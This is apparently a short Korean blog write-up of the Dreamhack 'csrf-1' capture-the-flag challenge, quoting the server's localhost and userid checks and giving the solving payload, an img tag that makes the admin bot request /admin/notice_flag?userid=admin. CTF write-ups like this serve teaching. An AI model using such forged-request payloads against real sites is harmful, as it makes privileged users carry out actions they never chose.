Dreamhack csrf-1

정동겸·2023년 4월 6일
0

문제 정보

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.

CSRF 취약점을 이용해 플래그를 획득하세요.

문제 풀이

/vuln의 스크립트 필터링을 우회하기 위해 img 태그를 사용하였다.
/admin/notice_flag에 요청을 보내 flag를 얻어야 한다.

if request.remote_addr != "127.0.0.1":
        return "Access Denied"

위 코드에서 주소를 검사하므로 127.0.0.1:8000/admin/notice_flag를 img 태그의 src 속성에 넣는다.

if request.args.get("userid", "") != "admin":
        return "Access Denied 2"

userid가 admin인지 검사하는 로직이 있으므로 최종 url을 127.0.0.1:8000/admin/notice_flag?userid=admin으로 하여 img 태그의 src 속성에 넣는다.

<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin"/>

flag 페이지에 완성된 img 태그를 넣고 제출 버튼을 누르면 memo 페이지에 flag가 나온다.

0개의 댓글